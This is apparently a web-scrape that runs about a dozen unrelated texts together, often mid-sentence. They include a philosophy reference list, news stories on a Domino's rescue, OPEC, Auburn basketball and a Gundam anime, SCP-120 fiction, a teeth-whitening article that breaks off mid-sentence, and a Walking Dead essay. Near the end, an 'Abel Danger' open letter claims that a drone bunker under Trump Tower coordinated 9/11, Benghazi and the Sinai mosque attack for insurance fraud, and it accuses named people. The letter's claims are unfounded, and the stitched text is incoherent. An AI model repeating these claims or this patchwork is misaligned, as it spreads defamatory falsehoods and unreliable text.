here’s a link which would better explain what I mean by “intentional-content” (look to section 3, specifically, although I believe the whole read to be enjoyable, on the whole)
http://plato.stanford.edu/entries/husserl/#IndProCon
here is a link better highlighting bad faith:
http://www.philosophymagazine.com/others/MO_Sartre_BadFaith.html
here’s a link better demonstrating how far back into history, and how complex the concept of multiplicity gets:
http://en.wikipedia.org/wiki/Multiplicity_(philosophy)
(and don’t forget to look at the links for contextualism and perspectivism!!)
here is a link highlighting my reference to the four causes:
http://en.wikipedia.org/wiki/Four_causes
here’s a link to a video of an inspiring thinker who radically questions into the foundations of science, in a cogent manner which I deeply admire and long to emulate:
here are some links to the discussions which follow the exposition of this whine-and-cheese-fest, which were helpful in editing this very whine-and-cheese fest by means of the “charitable and accurate”- as well as uncharitable and inaccurate- treatment my “arguments” and I originally received on the reddit:
https://www.reddit.com/r/PhilosophyofScience/comments/2tj37s/phenomenology_and_the_tradition_of_study_founded/
https://www.reddit.com/r/humanism/comments/2tqygy/how_science_can_sometimes_abuse_its_place_of/
Copyright Keli Birchfield 2015
AdvertisementsThe Domino’s employees who called 911 and helped save a customer’s life after realizing he hadn’t ordered his “almost every evening” pizza in nearly two weeks were surprised today with a trip to Las Vegas and tickets to see “Captain America: Civil War.”
Sarah Fuller and Jenny Seiber were the manager and assistant manager, respectively, on duty Saturday night at a Domino’s near Salem, Oregon, when they realized their regular customer, Kirk Alexander, had not placed his online order.
The pair sent a Domino's delivery driver, Tracey Hamblen, to Alexander’s home.
“He went to Kirk’s house and the lights were on, the TV was going but no one was answering the door,” Fuller said today on “Good Morning America.” “He came back to the store and that’s when we went ahead and decided to place the 911 call.”
Audio of the 911 calls shows Hamblen telling the emergency dispatcher that Alexander had not ordered pizza in 11 days.
"Well, I need some help on what to do. It could be an emergency... OK, this is Domino's Pizza and we have a customer that usually orders like every night from us. And he hasn't ordered in 11 days," Hamblen said on the call.
Fuller said Alexander places a pizza order “almost every evening,” sometime between 11 p.m. and midnight. When police got to Alexander’s home, they heard him yelling for help inside.
Alexander is now being treated at a hospital. Details about his exact condition have not been released but his friends at Domino’s said he is improving every day.
“The first day we saw him he was a little out of it, just yes and no questions, and then I went back on Monday and he was doing a lot better,” Seiber said. “We saw him yesterday and he had been moved to the rehabilitation center at the hospital and he was saying a little bit more.”
She added, “He’s still really tired but he seems to be doing a lot better and making a recovery.”
Fuller and Seiber were told on “GMA” that they, as real-life superheroes, will receive tickets to see superheroes in the big screen in “Captain America.”
They were also told for the first time that Domino’s plans to fly Fuller, Seiber and Hamblen to Las Vegas for the company’s next corporate rally.Later this week, when the Obama White House will report Obamacare enrollment numbers that include people who have not yet paid, it will be violating the instructions of the agency that is implementing Obamacare.
The Centers for Medicare and Medicaid Services (CMS) operates the federal exchange and most state exchanges. It has published a Standard Companion Guide Transaction Information, which includes instructions on how the process is to be carried out and how enrollment is to be counted. CMS published the document on March 22, 2013.
Page 30 of that document includes an instruction which clearly states "Enrollment into the QHP is not effectuated until the initial premium has been paid." "QHP" is "Qualified Health Plan" issuer. So according to CMS, a person is not enrolled until they have paid. The health insurance industry also does not count someone as enrolled until they pay.
The Obama White House, though, will report people who have dropped a healthcare plan into their exchange shopping cart, but not paid, as also enrolled. Among those may be reporters who were "enrolling" just to test out the exchanges, people who got to the shopping cart but either could not proceed forward due to website error, got sticker shock and bailed out, and any number of other reasons that they may stop at that stage.
Whatever the reason, by the instructions published by the CMS these people are not enrolled in Obamacare, but the Obama White House will claim that they are enrolled, and include them in its first enrollment numbers.
The enrollment number that the Obama White House will report will be phony.
h/t Paul
Update: Related -- online retailers report that more than 67% of all online shopping carts are abandoned without the customer ever making a purchase. 56% of customers surveyed about abandoning online shopping carts say they were "presented with unexpected costs," and 24% say that they abandoned their shopping cart because the website crashed. Both of those surely apply to many Obamacare "enrollees" who will be counted in the White House's phony figure.A woman made $20 in one hour by sitting outside and holding up a sign explaining that she needed money to buy make-up.
As part of a Daily Mail Online's social experiment, a woman named Angela was filmed sitting on a New York City street while holding up a homemade cardboard sign that read, 'Need Money 4 Make-Up.'
And while make-up is far from a necessity, many people were surprisingly generous and responded to her unusual request by donating $1 or more.
Bold move: A woman named Angela was filmed sitting on a New York City street while holding a cardboard sign asking for money to buy make-up
Decked out in a low cut black top, fur coat, and a face full of make-up, Angela headed north of Wall Street and sat down on the side-walk before taking out her sign.
Within a few minutes, Angela was approached by a kindhearted man from The Bowery Residents' Committee, a housing provider for the needy.
'My name is Clinton. I work for BRC homeless outreach. Do you have a place to stay?' he asked her.
Surprise outcome: The social experiment sees both men and women donating a $1 or more to Angela's unusual cause
Kindhearted: At the start of the video Angela was approached by a man from The Bowery Residents' Committee, who wanted to make sure she had a place to sleep
After Angela confirmed that she did, he wished her a good day and headed off — and that's when the money started to pour in.
One man got the ball rolling by dropping in a $1 and another guy gave her $5, but it wasn't just men who were willing to part with their cash.
'For make-up? You need it for make-up?' one woman stopped and asked Angela, who explained that make-up today is so expensive that it is 'killing' her.
Generous: Although people mostly donated $1 bills, one guy gave her $5 as he walked by
Natural beauty: This woman gave Angela a dollar, but she made sure to remind her that she is beautiful just the way she is
For real? While some people happily gave her cash for cosmetics, there were others who did a double take when they walked by Angela and her sign
Her words clearly moved the stranger who ended up giving her another $1 to add to her donations.
'You are so beautiful sweetie,' the woman reminded her before she left. 'So beautiful — you know just the way you are.'
However, there were plenty of people who did a double take when they walked by Angela and her sign, and some women even stopped to take her picture.
Fan club? This group of women stopped to take a picture of Angela and her sign
Party's over: She was eventually approached by a security guard and asked to move off sidewalk she was sitting on
Not bad; After an hour sitting on the sidewalk, Angela ended up taking home $20
'You look beautiful!' another guy yelled as he walked by, however, he didn't stop to give her any money.
She was eventually approached by a security guard and asked to move off sidewalk she was sitting on, but by that time she had already earned herself enough cash to buy at least a couple of drugstore beauty products.SCP-120
Item #: SCP-120
Object Class: Safe
Special Containment Procedures: Due to its importance to the Foundation, SCP-120 is to be kept under video surveillance and armed guard at all times. Any personnel attempting to utilize the item without authorisation are to be terminated immediately. All personnel wishing to use the item are required to submit a filled copy of the application form (Document #120-23) to facility operators.
Due to the precise timing and coordination required for efficient use of this object in an emergency, all personnel entering SCP-120’s building are placed under temporary command of the facility heads Captain ████████ (Security Detachment) (L4) and Doctor █████████ (Research Team) (L4).
All destination locations are to be kept under surveillance and armed guard. They are valuable to the Foundation but are non-critical, but any compromised destination must be immediately reported to SCP-120 personnel.
Distributed Task Force Sigma-6 (“Puddlejumpers”) was created with the objective of protecting and maintaining SCP-120’s facility and location outposts. It consists of 1 command unit and 1 defense and maintenance unit based at the SCP-120 facility at Command-██; 5 units based at the destination locations, plus 5 reserve units for these; and 5 units assigned to other SCP-120 related projects.
Description: SCP-120 appears to be a small child’s paddling pool, pastel pink in colouration, with an inner diameter of approximately 2.5 metres and inner height of 0.3 metres. The pool appears to have been fabricated from common Earth plastics but has shown itself to be indestructible by any attempted means (see research report #120-32 for a full summary). The pool’s structure and response to pressure are typical for such a pool (it will flex when pressure is applied and is soft to the touch) but has amazing tensile strength and cannot be permanently stretched or ripped.
What is contained within the pool seems to be a brightly glowing, coloured, liquid-like substance, which seems to exist only partially in our dimension. It is unresponsive to manipulation by organic or inorganic means, but the substance ripples and shimmers systematically and regularly, suggesting it exists physically on another dimension.
SCP-120’s most interesting and useful property is used regularly by Foundation personnel. Human beings, when alive and carrying loads (including clothing) under 37.8 kilograms, are observed to fall through the pool, and are deposited at one of 11 destinations. These will be detailed in an addendum.
The item will only function in this way if certain conditions are met: the subject must be genetically human; the subject must be conscious; the subject must be carrying weights of under the specified amount; and only one subject must be present on the surface. Test subjects attempting to use SCP-120 while these conditions were not met reported their feet making contact with a smooth surface underneath the liquid but no significant effects were observed.
SCP-120’s main use is as a potential means of evacuation for Command-██ during a major emergency. It is currently stored and maintained in a fortified outbuilding of this facility. To inspect evacuation procedures, refer to document #120-22.
SCP-120 was first brought to the attention of Foundation authorities on 31/08/1992. Local police authorities in █████, California, were investigating reports of missing children in their jurisdiction, and discovered and reported the item on 31/08. Overwatch Command was automatically informed through the usual channels, and a small team of Foundation agents was dispatched to claim and transport the item to Site-19, where it remained for testing over the next 2 years.
It was transferred to its present location at Command-██ in 1994.
Addendum:
Document #120-7: Destructive test results for SCP-120 – 24/12/1993 [Abridged version]
Hand saw: 30cm – No result
Industrial drill: Steel bit – No result
Industrial drill: Diamond bit – No result
Munition: 9x19mm Parabellum – No result
Munition: 5.56x45mm NATO – No result
Munition: 7.62x39mm – No result
Munition: 120mm M830 HEAT – No result
Cutting torch: Acetylene – No result
Cutting torch: Hydrogen – No result
Cutting torch: Propane – No result
CO2 laser (peak power: 100 kW) – No result
CO2 laser (peak power: 500 kW) – No result
Document #120-10: Detailed explanation of SCP-120’s capabilities and destinations – 12/02/1994 [Abridged version]
SCP-120 possesses the capability of instant translocation of human beings, possibly through one or more alternate dimensions. Subjects using the item are invariably deposited at one of 11 locations. These locations cycle in a specific and unchanging pattern. The 11 destinations and their locations were determined through testing with Class-D personnel carrying radio beacons. They are detailed here:
Location 1: Pacific Ocean: SCP-120’s liquid displays a blue glow while connected to this destination.
Subjects attempting travel to this destination are deposited an average of 2 metres above the surface of the Pacific at latitude █████████°S, longitude ██████████°W. A Foundation ship (SCPS Demeter – publicly the USS Nassau, a meteorological ship) is currently stationed at this location and personnel arriving through use of SCP-120 materialize inside the ship’s cargo hold.
Sensitive Foundation material or personnel can be sent here in an emergency, and the ship has provisions for storage of low-threat SCP objects, should the need arise. Class-D personnel used to “dial” SCP-120 can be confined and extracted by helicopter or reused, or simply terminated and their bodies retained in storage.
The original Class D and radio transmitter used to determine this location were lost at sea, and might have to be recovered in the interest of secrecy, if they were to wash up on populated shores.
This configuration of SCP-120 was arbitrarily designated as #1, and has no observable significance above other configurations. Destinations 2 through 11 follow in sequential order after this configuration, and return to it after a full cycle.
Travel by SCP-120 to this location is not advisable during storms due to risk of injury.
Location 2: Greenland: SCP-120 displays a bright white glow while dialed to this destination.
Subjects travelling to this destination materialize 1.5 metres above the surface of Greenland, at latitude █████████°N and longitude █████████°W. A small facility was established here, under the public pretense of oil industry expansion. This facility has similar capabilities and use to the Demeter, and is additionally equipped with an airstrip and refueling facilities.
Location 3: L3: Located at the Earth-Moon Lagrange Point 3. The SCP displays a deep black colour.
Objects and personnel sent through the SCP to any Lagrange point (locations 3, 5, 8, 10, and 11) are effectively lost, as retrieval is impossible at our current level of technology. They may prove a possible way to remove small but threatening SCP objects, but for now, are merely an inconvenience, as sacrifice of D-personnel is required to move the SCP to its next configuration.
Location 4: Himalayas: SCP-120 displays a white glow similar to when it is dialed to Location 2.
Materialization occurs at latitude █████████°N, longitude █████████°E, on a mountain in the Himalayan mountain range. Only minor changes have been made to the destination: the digging of an 8-metre hole for disposal of D-class bodies, an overhead canopy for concealment, and supplies and tenting for evacuation to this location (which should only take place in extreme circumstances).
D-class personnel used for dialing are to be injected with a mixture of sedatives and neurotoxin before sending, to ensure a humane death and decrease risk of damage to the structures at Location 4.
Location 5: L5: Identical to Location 3.
Location 6: Sahara: SCP-120 will glow yellow.
Personnel materialize at latitude █████████°N, longitude █████████°E in a small outpost. The need for secrecy renders this facility unable to house any significant SCP object, but is ideal for evacuation of personnel and documents from Command.
Location 7: Gobi: SCP-120 displays a brown glow.
This destination is located at a small outpost in the Gobi desert, latitude █████████°N, longitude ██████████°E, but is otherwise identical to the location 6 outpost.
Location 8: L2: Identical to Location 3, although shows more potential for SCP disposal, being situated beyond the moon.
Location 9: Mare Imbrium: The SCP displays a subdued grey glow when dialed in to this destination.
This destination is on a relatively flat section of the Sea of Rains on the lunar surface. Through vast expenditure of money and D-class personnel, a small outpost has been established there, and is considered one of the Foundation’s safest locations.
Location 10: L4: Identical to Location 3.
Location 11: L1: Identical to Location 3.VIENNA (Reuters) - Saudi Arabia blocked calls on Thursday from poorer members of the OPEC oil exporter group for production cuts to arrest a slide in global prices, sending benchmark crude plunging to a fresh four-year low.
Brent oil fell more than $6 to $71.25 a barrel after OPEC ministers meeting in Vienna left the group’s output ceiling unchanged despite huge global oversupply, marking a major shift away from its long-standing policy of defending prices.
This outcome set the stage for a battle for market share between OPEC and non-OPEC countries, as a boom in U.S. shale oil production and weaker economic growth in China and Europe have already sent crude prices down by about a third since June.
“It was a great decision,” Saudi Oil Minister Ali al-Naimi said as he emerged smiling after around five hours of talks.
OPEC said in a statement that members had agreed to roll over the ceiling of 30 million barrels per day, at least 1 million above OPEC’s own estimates of demand for its oil next year.
“It is a new world for OPEC because they simply cannot manage the market anymore. It is now the market’s turn to dictate prices and they will certainly go lower,” said Dr. Gary Ross, chief executive of PIRA Energy Group.
The wealthy Gulf states have made clear they are ready to ride out the weak prices that have hurt the likes of Venezuela and Iran - OPEC members which face big budget pressures, but cannot afford to make cuts themselves. Venezuela and Algeria had calling for output cuts of as much as 2 million bpd.
Venezuelan Foreign Minister Rafael Ramirez said he accepted the decision as a collective one and hoped that lower prices would help drive some of the higher-cost U.S. shale oil production out of the market.
“In the market, some producers are too expensive,” he said.
The OPEC statement made no mention of any need for members to stop overproducing, nor of any extraordinary meeting to reconsider the ceiling before a regular session next June.
OPEC Secretary-General Abdullah al-Badri waits for the start of a meeting of OPEC oil ministers at OPEC's headquarters in Vienna November 27, 2014. REUTERS/Heinz-Peter Bader
BATTLE OVER MARKET SHARE
The Organization of the Petroleum Exporting Countries accounts for a third of global oil output.
Gulf producers could withstand for some time a battle over market share that would drive down prices further, thanks to their large foreign-currency reserves.
Members without such a cushion would find it much more difficult, as would a number of producers outside the group. Russia’s rouble, which has been sliding for much of this year, extended losses on Thursday to trade more than 2 percent lower than the previous close against the U.S. dollar.
Russia is already suffering from Western sanctions over its actions in Ukraine and needs oil prices of $100 per barrel to balance its budget.
A price war might make some future U.S. shale oil projects uncompetitive due to high production costs, easing competitive pressures on OPEC in the longer term.
Saudi Arabia's Oil Minister Ali al-Naimi talks to journalists before a meeting of OPEC oil ministers at OPEC's headquarters in Vienna November 27, 2014. REUTERS/Heinz-Peter Bader
“Why would Saudi cut production in the current environment? Why would they want to support Iran, Russia or U.S. shale producers? So they must have decided: let the market establish the price. Once the market goes to a new equilibrium, prices will go higher,” PIRA Energy’s Ross said.
Kuwaiti Oil Minister Ali Saleh al-Omair said OPEC would have to accept any market price of oil, whether it were $60, $80 or $100 a barrel. Iraq’s oil minister, Adel Abdel Mehdi, said he saw a floor at $65-70 per barrel.
“We interpret this as Saudi Arabia selling the idea that oil prices in the short term need to go lower, with a floor set at $60 per barrel, in order to have more stability in years ahead at $80 plus,” said Olivier Jakob from Petromatrix consultancy.
“In other words, it should be in the interest of OPEC to live with lower prices for a little while in order to slow down development projects in the United States.”By Jeff Shearer
AuburnTigers.com
AUBURN, Ala. - Mustapha Heron might play two positions for Auburn's basketball team when the Tigers travel to Italy: guard and guide.
Heron's been there before. As a high school junior, he played for the U18 U.S. Select Team in Treviso, Italy, going 3-0 against a European All-Star team and teams from Greece and France.
"I'm just looking forward to a great experience," said Heron, who earned Freshman All-SEC honors after averaging 15.2 points and 6.1 rebounds last season. "I would like to be able to show my teammates some of what I've seen."
Departing on Sunday, Auburn's 11-day journey includes games in Rome, Milan, Florence and Venice against professional and amateur players from Italy and Lithuania.
"The basketball over there is different," Heron said. "It's a more skilled game. They'll be older. They'll be pros. Their experience alone, I think we'll learn a lot from them."
Most of Heron's Auburn teammates, like freshman Chuma Okeke and Davion Mitchell, will be making their first international excursion.
Okeke wants to see how the European style of basketball differs from America. Mitchell's mission concerns mealtime.
"I'm looking forward to all of the different foods," he said.
Auburn's itinerary will allow time to visit St. Peter's Basilica, the Sistine Chapel and the Roman Colosseum, and that's just the first three days.
"It's an unbelievable experience for these kids,'" Auburn coach Bruce Pearl said. "We're so blessed that Auburn is allowing us to go and sending us and investing in the education as well as the basketball.
"We're going to represent our country, we're going to represent our school. We're going to tour on days of games. We're going to go to children's hospitals. I want them exposed to as much as I can possibly expose them to."
Then there's the competition. A chance for a team with NCAA Tournament aspirations to test itself against more seasoned players.
"My mindset going into the Italy trip and the season overall is trying to be a leader for the program," Heron said. "We're trying to do big things. Trying to make the tournament this year. Try to be as much of a leader as possible."
The combination of basketball and bonding, along with a chance to see some of the world's most famous destinations and works of art, makes for an enriching opportunity, Pearl says.
"Being able to travel overseas with teams has been one of the highlights of my life, my career," Pearl said. "Both with my own family as well as these kids. Whether it be going to the Vatican in Rome, or whether it be going to Auschwitz in Poland.
"We'll play, but our goal is to go over there and just have a great experience, an educational experience and a bonding experience."Sunrise announced on Friday that "Tanjō Akai Suisei" (Rise of the Red Comet), the sixth episode of the Mobile Suit Gundam: The Origin anime and the last in the anime's "Loum Arc," will open in Japan on May 5, 2018. The episode will focus on the young Zeon ace Char Aznable earning his "Red Comet" nom de guerre, as well as the beginnings of the Federation's "Project V" weapons project that will eventually birth the RX-78-2 Gundam.
Mobile Suit Gundam The Origin V: Clash at Loum ( Mobile Suit Gundam The Origin V: Loum no Kaisen ), the anime's fifth episode, will open in Japan on Saturday in 35 theaters — more than double the previous four episodes' 15 theaters. The episode's screenings will also be extended to four weeks, double the two-week screening run that each of the previous episodes had.
The episode is the first episode in the anime's "Loum Arc," which covers the Battle of Loum, the pivotal conflict in the One Year War's early days before most of the events depicted in the first Mobile Suit Gundam anime. The battle came after the Operation British space colony drop and other devastating events that wiped out nearly a third of the human population. Char Aznable, the nemesis of the first Gundam anime's protagonist Amuro Ray, became famous as the legendary ace "Red Comet" during this war.
In addition to Char and his infamous Zaku II mobile suit mecha, the new episode will feature Char's younger sister Sayla, the Zeon pilot Ramba Ral and his lover Hamon, and Amuro and Fraw Bow (living in the tranquil Side 7 colonies before the specter of war visits them).
The Mobile Suit Gundam: The Origin IV Eve of Destiny anime, the fourth episode in the series, opened in 15 Japanese theaters last November, and it ended the Char/Sayla arc of the anime.
The anime project adapts Yoshikazu Yasuhiko's manga of the same name, which in turn is inspired by the first Mobile Suit Gundam anime's story. Yasuhiko designed the characters in the first Gundam anime, and he serves as the chief director and storyboarder for the Gundam The Origin anime. The manga has 10 million copies in print.
Anime Consortium Japan is releasing the Gundam The Origin series digitally worldwide through a premium rental streaming program, and Right Stuf — in collaboration with Sunrise — is releasing the series on home video.
Source: The Mainichi Shimbun's Mantan WebThe dark side of DIY whitening Share Share Facebook
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Looking to get a bright smile without visiting your dentist? A quick Internet search will turn up dozens of easy methods for whitening your teeth, many relying on items you'll likely to already have at home. But these simple recipes for whiter teeth may not be all they're cracked up to be.
Here's a closer look at the untold dangers of 12 do-it-yourself whitening methods.
Baking soda
How it works:
Baking soda is a mild abrasive. When mixed with water, it releases free radicals, which break down the stain molecules on the surface of the tooth's enamel. You can then brush the debris off with a toothbrush.
What you risk:
The abrasive nature of baking soda may eventually wear down your enamel if used too frequently.
The dentist weighs in:
"Unlike most toothpaste, it doesn't contain fluoride to prevent decay, so you definitely shouldn't use it as a substitute."
Lemons
How it works:
The acid in lemons leaches minerals from your teeth, making them appear whiter.
What you risk:
The acid can cause permanent damage to your enamel. In fact, a 2007 study found lemon juice to be more harmful to your teeth than either orange or grapefruit juice.
The dentist weighs in:
"No way. Lemon is very acidic and can dissolve your enamel."
Orange peel
(Oranges may be slightly less acidic than lemons, but it's the same terrible idea. Moving on.)
Strawberries
How it works:
Strawberries are packed with malic acid, widely touted on the Internet as a natural whitener.
What you risk:
A 2014 study found that a mixture of strawberries and baking soda reduced tooth hardness by as much as 10%. That's a high price to pay, especially since another study found that the strategy didn't even whiten teeth.
The dentist weighs in:
"I prefer my strawberries with ice cream."
Apples
How it works:
For more malic acid magic, bite into an apple — the acid is described as a natural whitener. Another explanation is that crunching on the |
sloppy plotting, too. For example, if you somehow obtained a hacksaw while you were handcuffed to a heating duct, wouldn’t you use the saw to cut the handcuff rather than your own wrist?
Despite that, the show has me hooked. And it hooked me at a specific moment. Several weeks ago, when I first downloaded the first episode from iTunes, I found the show’s first few minutes a bit flat. The pilot’s Tarantino-esque opening features police officers Rick Grimes (played by Andrew Lincoln) and Shane Walsh discussing the trouble with women, as it pertains to their individual relationships. There’s a shootout, which sees Grimes wounded, and then he wakes up from what must have been quite a long stint in a hospital. There’s nobody around.
It’s on the walk around the ward, which becomes a longer walk toward his home, that things begin to get interesting. What’s with the zombies in the padlocked hospital ward? The rows of body bags in the hospital parking lot?
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And then, the moment it hooked me: Grimes is in his house, going through the bedrooms and bathrooms that once hosted the shouts of his wife and his son, when you see how wrecked he is to be separated from his family. He really misses them.
♦◊♦
As a father myself, I sympathized with the guy. And from that moment on, the show, for me, became about a guy trying to reunite with his family. And protect them. And not just that. As The Walking Dead develops, the show turns out to be full of fathers. In fact, has there ever been a television show that depicted more fathers acting like fathers—good fathers, engaged fathers, fathers who stand up for their families—than The Walking Dead?
Sympathetic father characters remain comparatively rare on mainstream television. Cable and network shows give us plenty of patriarchs as buffoons—Homer Simpson types. And then you get the jerks, the Don Drapers who are too messed up to manage acting like examples for their kids.
The Walking Dead is different. Witness the father-son highlights that have happened throughout the show’s first season:
Episode 1: The respect that exists between the father-son duo who are the first non-zombie people Rick Grimes meets after regaining consciousness—and how well and subtly illustrated that respect is. Just as they’re about to eat their first meal with Rick, the son reminds the father to say “the blessing.” The father nods. He accepts his son’s correction, then says grace.
Episode 3: The moment Rick Grimes reunites with his son, Carl. I’ve replayed this moment several times, and it still has the power to summon a lump to my throat. Rick sees his wife and son at the same time. The boy sprints just as Rick sinks to his knees to accept the boy in his arms. It’s the way Rick actually falls over that gets me. The way he’s so lost in his boy’s embrace that he momentarily loses his balance. Yeah, I could see that. If I were in the same situation, I’d buckle, too.
Episode 4: Carl Grimes catching frogs with Rick’s former partner, Shane Walsh. It’s a light moment that should be happening with Rick: two men in a quarry pond splashing water and attempting to catch amphibians for some deep-fried frog legs. But Rick has left his family to return to Atlanta, and Shane steps in as a surrogate father, raising the possibility that Shane may be a better or at least more reliable family protector than Rick.
The reason Rick goes back, supposedly, is to retrieve a bag of guns and an important walkie-talkie. But I don’t care how many guns are in the bag, in that situation, after the end of the world, once I’m back with my son and wife, there wouldn’t be anything that would be able to separate us. “I hate that you’re doing this, man,” says Shane to Rick. “I think it’s reckless and foolish.” He’s right. But let’s not lose sight of the fact that the show depicts two grown men arguing straight-faced about the correct course one should take to fulfill a familial responsibility. And hey, how often does that happen?
Such benevolent depictions of paternal relations become all the more striking when you consider that another of pop culture’s seminal fathers, the unnamed protagonist created by novelist Cormac McCarthy in The Road, depicted in the 2009 movie by Viggo Mortensen, also happened to reside in an apocalyptic America.
Few other creations in pop culture feature such tender moments between father and son. In that, The Walking Dead and The Road stick out. Which prompts the question: Why? Why do we have to wait until the apocalypse for television and Hollywood to feature positive depictions of fathers?
♦◊♦
Because when it comes to survival, there are Things Men Must Do. In The Walking Dead’s fourth episode, a solo Rick Grimes holds a pump-action shotgun at an apparent gang leader’s forehead. He runs out of Atlanta’s suburban sprawl to arrive in the nick of time to save his family from a zombie attack. During standoffs, he points firearms at fellow survivors, shouting things like “We don’t kill living people.” In other words, we know Rick Grimes is a man. In fact, the show tells us so over and over again: “That man is tough as nails,” says a survivor named Jim to Carl Grimes. “Ain’t noting that’ll stop him from getting back here. I promise you that.”
In The Walking Dead, civilization’s end has created an environment where Rick Grimes is able to prove, day in and day out, that he is a real man, tough as nails. And perhaps his beyond-doubt status as a hyper-masculine male makes it simultaneously safe for the show to depict his sensitive side, and makes it OK to show him crying over the reunification of his son, or wrestling with his responsibilities as a father and husband.
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It’s tougher to prove you’re a real man when civilization hasn’t ended. And perhaps that reflects some positive and negative signs of the status of engaged fathers in our society. It’s great that a father like Rick Grimes is being depicted positively. But it would be a whole lot better if we had more fully realized father characters in situations where the world hasn’t ended.
—Photo via TheStar.comGeneral John F. Kelly
White House Chief of Staff
Washington, D.C. 20528
Open letter from the Cloud Centric Crime Scene Investigators of Abel Danger
November 25, 2017
Dear General Kelly:
Please accept Brief 148 from Field McConnell – United States Marine Corps whistle-blower and Global Operations Director of Abel Danger (AD) – on AXA-investee Serco‘s apparent use of Demon Chasers from the 91st Cyberspace Operations Squadron and the Defense Red Switch Network to fly drones from a bunker allegedly concealed under Trump Tower so that AXA’s dead-peasant life-insurance companies could covertly synchronize the killing of nearly 3,000 innocents on 9/11; 4 people in Benghazi on September 12, 2012; and, at least 235 people in an attack by gunmen on a mosque in Egypt’s North Sinai province on November 24, 2017.
McConnell believes Henri de Castries, a former chairman of AXA, the co-developer of Trump Tower, ordered Joseph Melone, former President of AXA Equitable Life Assurance Society and fellow investors in the CAI Private Equity Group including the late General Alexander Haig and late Walter B. Wriston, former Citibank chairman, to link the alleged Trump Tower bunker to drone tracking and guidance systems on the federal bridge certification authority and junket-room guests in elite hotels and casinos around the world.
McConnell believes that AXA’s CAI agents hired the late Stephen Paddock, a former auditor for IRS, DOD and a Lockheed Martin predecessor company, to hide a casino facility in the Trump Tower ‘in plain view’ so the Trump Family would focus on the management of residential, office, atrium, retail and commercial spaces while junket-room operators used Serco‘s demon chasers or 8(a) SWAT teams to spot fix body counts and/or the times of high-value-target deaths to ensure CAI insiders got to scoop the pots.
McConnell believes that CAI hired Serco 8(a) SWAT teams to kill Paddock in Las Vegas to prevent him from exposing AXA’s Red Switch bunker in Trump Tower and the identities of the Greek Life friends of Wilbur Ross (Kappa Beta Phi) – Serco‘s former investment banker at N M Rothschild & Sons – and Bill Clinton (Phi Beta Kappa) who allegedly began betting on ‘death by plane or drone‘ no later than 9/11.
Call Field McConnell for a briefing on how to stop AXA and other Serco shareholders from allegedly using a Trump Tower bunker to synchronize death by drones and life-insurance frauds on American citizens or their allies with the apparently objective of replacing the “National Command Authority.. being the President and the Secretary of Defense of the United States, the Joint Chiefs of Staff, the National Military Command Center (NMCC), Combatant Commanders and their command centers” with a supranational government of Greek Life bankers and intellectual elites (cf. David Rockefeller).
This bunker was jammed on 9/11!! Who was jamming? Where was the back up?
Egyptian Ministry of Defense
9/11: State of Emergency | Condoleezza Rice | Channel 4
9/11: Condoleezza Rice in the White House. Crisis controlled.
Military Drone Technology:2014 (full documentary) HD
9/11 – IRS, DOD & CIA shared the 25th floor of World Trade Center 7 – “One World Trade Center”
Las Vegas shooting: Moment police burst into gunman’s room – BBC News
MACAU CASINOS & their strong links to organised crime – ABC 4 Corners – Sep 2014
SERCO GROUP PLC: List of Subsidiaries AND Shareholders! [Note agents for Northern Trust and the Teachers (TIAA) Pension Fund would have met with agents of the government of Saudi Arabia on the 47th floor of WTC 1 on 9/11]
Yours sincerely,
Field McConnell
USMC 0116513
P O Box 39
Plum City WI 54761″
+001-715-307-8222
“Digital Fires Instructor Serco – [Marine Corps Base] Camp Pendleton, CA Uses information derived from all military disciplines (e.g., aviation, ground combat, command and control, combat service support, intelligence, and opposing forces) to determine changes in enemy capabilities, vulnerabilities, and probable courses of action.”
“At least 235 killed, 130 wounded in terror attack in northern Sinai
Bombing and shooting at Rawdah mosque in Bir al-Abd targets worshipers at Friday prayers; Cairo declares 3 days of mourning; deadliest ever Islamist attack on Egyptian civilians
By TOI STAFF and AGENCIES 24 November 2017, 1:41 pm 10
Gunmen attacked a packed mosque in Egypt’s restive North Sinai province at the height of Friday prayers, set off explosives and opened fire, killing at least 235 people in the deadliest ever attack on Egyptian civilians by Islamic extremists.
An explosion ripped through the Rawdah mosque in the town of Bir al-Abd, roughly 40 kilometers (25 miles) west of the North Sinai capital of el-Arish, before gunmen opened fire on the worshipers gathered for weekly Friday prayers, officials said.
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State television reported at least 235 people were killed and 130 wounded in the attack, which is unprecedented in a four-year insurgency by Islamist terror groups.
An unconfirmed report in Sky News Arabia said Egyptian military forces had destroyed two vehicles carrying perpetrators of the attack.
An army source told the TV station that unmanned drones had attacked two cars in a desert area called al-Risha, killing 15 jihadists. He added that the hunt for other perpetrators was ongoing.
There was no official word from Egypt’s military on the matter.”
“The TRUMP project involved three partners and one subcontractor. Serco Usability Services co-ordinated the project and provided the usability expertise to the user partners, IR and [Drone manufacturer] IAI. Lloyd’s Register provided independent assessment of the usability maturity before and after the application at IR.
Serco Usability Services: Serco Usability Services, previously at the National Physical Laboratory, has been developing and applying practical human-centred evaluation and design techniques for many years. It was the co-ordinating partner for TRUMP and was the project’s source of expertise in human-centred techniques.
Inland Revenue: The Inland Revenue is the tax collection department of the UK Government. With over 60,000 staff, IR relies on IT for administrative support. Because they must implement Government tax policy, IR must be able to implement new business systems rapidly and correctly.
Israel Aircraft Industries (IAI): Israel Aircraft Industries design and build [drones and] aircraft and avionics equipment. IAI has a reputation for efficiency and quality, and the techniques introduced by TRUMP improved their development efficiency and the quality of the products.
Lloyd’s Register: Lloyd’s Register performed independent assessment of the usability maturity of the Inland Revenue, both before and after the introduction of the human-centred techniques.”
“Stay out of Washington, Rice told Bush after 9/11
Former secretary of state reveals exchange with president who wanted to ‘be at helm of ship’ despite security risks
Monday 6 September 2010 08.07 BST
First published on Monday 6 September 2010 08.07 BST
Condoleezza Rice ordered George Bush not to return to Washington after the 9/11 attacks before hanging up the phone, the former national security adviser has revealed in a documentary interview.
In a heated exchange, Rice argued with the US president in Florida not to return to the White House because it was a potential terrorist target.
She told the Channel 4 documentary: “The president got on the phone and he said: ‘I’m coming back.’
“I said: ‘You cannot come back here. The United States of America is under attack, you have to go to safety. We don’t know what is going on here.’
“He said: ‘I’m coming back.’ I said: ‘You can’t.’
“I said to him in a raised voice, and I had never raised my voice to the president before, I said: ‘You cannot come back here.’ I hung up.
“The president was quite annoyed with me to say the least. I’ve known the president a long time and I knew that he wanted nothing more than to be there at the helm of the ship.”
Rice revealed that the bunker beneath the White House where she was sheltering with Dick Cheney began to run out of air.
“There were so many people in the bunker that the oxygen levels started dropping and the secret service came in and said we’ve got to get some people out of here.
“They literally went around telling people that they weren’t essential and they had to leave.”
